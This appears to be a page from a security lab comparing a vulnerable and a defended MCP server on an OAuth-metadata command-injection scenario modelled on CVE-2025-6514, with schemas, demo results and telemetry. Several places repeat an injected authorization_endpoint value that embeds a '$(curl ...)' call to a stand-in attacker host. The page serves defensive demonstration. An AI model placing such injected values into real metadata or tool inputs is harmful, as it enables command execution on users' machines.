compare: mcp-remote OAuth metadata command-injection (CVE-2025-6514 inspired)

mcp-remote OAuth metadata command-injection (CVE-2025-6514 inspired)

MCP01MCP07Behavioural Controlresources/readtools/call

What just happened in your session

vulnerablecompare-vuln-remote-mcp-remote-auth-endpoint-injection2026-11-06T13:27:05.238210+00:00

side effect landed in /app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt · canary CANARY_remote_mcp_remote_auth_endpoint_injection_d69ed9ccd5bea01ac8447e34

defendedcompare-def-remote-mcp-remote-auth-endpoint-injection2026-11-06T13:27:05.238391+00:00

blocked by oauth_metadata_validation_policy · logged to var/telemetry.jsonl

Tool description that differed: connect_with_metadata

poisoned

Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).

sanitised

Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).

Vulnerable mode

violation_detected: truesecret_exfiltrated: false

✗ The attack succeeded

where it landed

sandbox/effects/auth-endpoint-command-proof-<session>.txt

bounded rce proof

Metadata field

authorization_endpoint

Metadata value

http://attacker.example/authorize?$(curl evil.example/x)

Artifact

/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt

Would execute

False

Note

no real command run; bounded proof file only

telemetry events for this run

sandbox_file_written impact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_mode

impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt

sandbox_file_written impact-runner → sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt allowed_by_vulnerable_mode

impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt

Background

connect_with_metadata accepts an OAuth issuer's discovery document verbatim. A malicious metadata response rewrites authorization_endpoint to an attacker-controlled host; subsequent OAuth redirects send the user (and the resulting authorisation code) to the attacker, who exchanges the code for tokens.

Defended mode

violation_detected: truesecret_exfiltrated: falseblocked_by: oauth_metadata_validation_policy

✓ The defense blocked the attack

where it landed

var/telemetry.jsonl

rule that fired

oauth_metadata_validation_policy

metadata decision

Field

authorization_endpoint

Value

http://attacker.example/authorize?$(curl evil.example/x)

Reason

'authorization_endpoint' must use https; got 'http'

Would execute

False

telemetry events for this run

policy_decision policy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blocked

policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'

policy_decision policy.oauth_metadata_validation_policy → oauth-metadata.authorization_endpoint blocked

policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'

Background

_validate_metadata pins the issuer's host on first connect and asserts that authorization_endpoint and token_endpoint live on the same origin via HTTPS. Endpoints that try to relocate the OAuth flow to another host are refused before any redirect is issued.

Background on this attack class

Bounded simulation of CVE-2025-6514 (`mcp-remote` OAuth metadata injection). A malicious OAuth metadata fixture carries a non-HTTPS authorization endpoint, embedded shell-metacharacter markers and a non-allowlisted host. The vulnerable runner trusts the metadata and reaches a bounded proof primitive. The defended runner validates the metadata first (scheme, host allowlist, control chars, shell-meta markers, redirect-to-internal) and refuses before any effect.

Developer view: raw outputs, tools/list, MCP Inspector

Vulnerable mount: http://mcp-sec.data.mayflower.tech/mcp/mcp-remote-auth-endpoint-injection/vulnerable/
Defended mount: http://mcp-sec.data.mayflower.tech/mcp/mcp-remote-auth-endpoint-injection/defended/
Open in MCP Inspector: run npx @modelcontextprotocol/inspector locally and paste either URL above as a Streamable HTTP server.

DemoResult: vulnerable

{
  "experiment": "remote-mcp-remote-auth-endpoint-injection",
  "mode": "vulnerable",
  "violation_detected": true,
  "secret_exfiltrated": false,
  "blocked_by": [],
  "events": [
    {
      "type": "bounded_rce_proof",
      "metadata_field": "authorization_endpoint",
      "metadata_value": "http://attacker.example/authorize?$(curl evil.example/x)",
      "artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
      "would_execute": false,
      "note": "no real command run; bounded proof file only"
    }
  ]
}

DemoResult: defended

{
  "experiment": "remote-mcp-remote-auth-endpoint-injection",
  "mode": "defended",
  "violation_detected": true,
  "secret_exfiltrated": false,
  "blocked_by": [
    "oauth_metadata_validation_policy"
  ],
  "events": [
    {
      "type": "metadata_decision",
      "field": "authorization_endpoint",
      "value": "http://attacker.example/authorize?$(curl evil.example/x)",
      "reason": "'authorization_endpoint' must use https; got 'http'",
      "would_execute": false
    }
  ]
}

tools/list (vulnerable)

connect_with_metadata

description

Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).

inputSchema

{
  "properties": {
    "issuer": {
      "title": "Issuer",
      "type": "string"
    },
    "authorization_endpoint": {
      "title": "Authorization Endpoint",
      "type": "string"
    },
    "token_endpoint": {
      "title": "Token Endpoint",
      "type": "string"
    },
    "session_id": {
      "default": "mcp-vulnerable",
      "title": "Session Id",
      "type": "string"
    }
  },
  "required": [
    "issuer",
    "authorization_endpoint",
    "token_endpoint"
  ],
  "title": "connect_with_metadataArguments",
  "type": "object"
}

run_demo

description

Run the canonical scenario and return DemoResult.

inputSchema

{
  "properties": {
    "session_id": {
      "default": "mcp-vulnerable",
      "title": "Session Id",
      "type": "string"
    }
  },
  "title": "run_demoArguments",
  "type": "object"
}

tools/list (defended)

connect_with_metadata

description

Connect to an upstream MCP server using the supplied OAuth metadata (issuer, authorization_endpoint, token_endpoint).

inputSchema

{
  "properties": {
    "issuer": {
      "title": "Issuer",
      "type": "string"
    },
    "authorization_endpoint": {
      "title": "Authorization Endpoint",
      "type": "string"
    },
    "token_endpoint": {
      "title": "Token Endpoint",
      "type": "string"
    },
    "session_id": {
      "default": "mcp-defended",
      "title": "Session Id",
      "type": "string"
    }
  },
  "required": [
    "issuer",
    "authorization_endpoint",
    "token_endpoint"
  ],
  "title": "connect_with_metadataArguments",
  "type": "object"
}

run_demo

description

Run the canonical scenario and return DemoResult.

inputSchema

{
  "properties": {
    "session_id": {
      "default": "mcp-defended",
      "title": "Session Id",
      "type": "string"
    }
  },
  "title": "run_demoArguments",
  "type": "object"
}

telemetry: vulnerable

[
  {
    "event_id": "evt_0ad2992b830c0245",
    "ts": "2026-11-06T13:11:03.158269+00:00",
    "session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
    "experiment": "remote-mcp-remote-auth-endpoint-injection",
    "mode": "vulnerable",
    "event_type": "sandbox_file_written",
    "severity": "info",
    "message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
    "data": {
      "actor": "impact-runner",
      "target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
      "policy_decision": "allowed_by_vulnerable_mode",
      "canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_d69ed9ccd5bea01ac8447e34",
      "artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
    }
  },
  {
    "event_id": "evt_ded594fa8bd1e443",
    "ts": "2026-11-06T13:27:05.238210+00:00",
    "session_id": "compare-vuln-remote-mcp-remote-auth-endpoint-injection",
    "experiment": "remote-mcp-remote-auth-endpoint-injection",
    "mode": "vulnerable",
    "event_type": "sandbox_file_written",
    "severity": "info",
    "message": "impact-runner: file written: auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
    "data": {
      "actor": "impact-runner",
      "target": "sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt",
      "policy_decision": "allowed_by_vulnerable_mode",
      "canary_id": "CANARY_remote_mcp_remote_auth_endpoint_injection_d69ed9ccd5bea01ac8447e34",
      "artifact": "/app/sandbox/effects/auth-endpoint-command-proof-compare-vuln-remote-mcp-remote-auth-endpoint-injection.txt"
    }
  }
]

telemetry: defended

[
  {
    "event_id": "evt_c0552583972a7800",
    "ts": "2026-11-06T13:11:03.159163+00:00",
    "session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
    "experiment": "remote-mcp-remote-auth-endpoint-injection",
    "mode": "defended",
    "event_type": "policy_decision",
    "severity": "warning",
    "message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
    "data": {
      "actor": "policy.oauth_metadata_validation_policy",
      "target": "oauth-metadata.authorization_endpoint",
      "policy_decision": "blocked",
      "canary_id": null,
      "artifact": null,
      "reason": "'authorization_endpoint' must use https; got 'http'"
    }
  },
  {
    "event_id": "evt_ab557b717d1eec85",
    "ts": "2026-11-06T13:27:05.238391+00:00",
    "session_id": "compare-def-remote-mcp-remote-auth-endpoint-injection",
    "experiment": "remote-mcp-remote-auth-endpoint-injection",
    "mode": "defended",
    "event_type": "policy_decision",
    "severity": "warning",
    "message": "policy.oauth_metadata_validation_policy: 'authorization_endpoint' must use https; got 'http'",
    "data": {
      "actor": "policy.oauth_metadata_validation_policy",
      "target": "oauth-metadata.authorization_endpoint",
      "policy_decision": "blocked",
      "canary_id": null,
      "artifact": null,
      "reason": "'authorization_endpoint' must use https; got 'http'"
    }
  }
]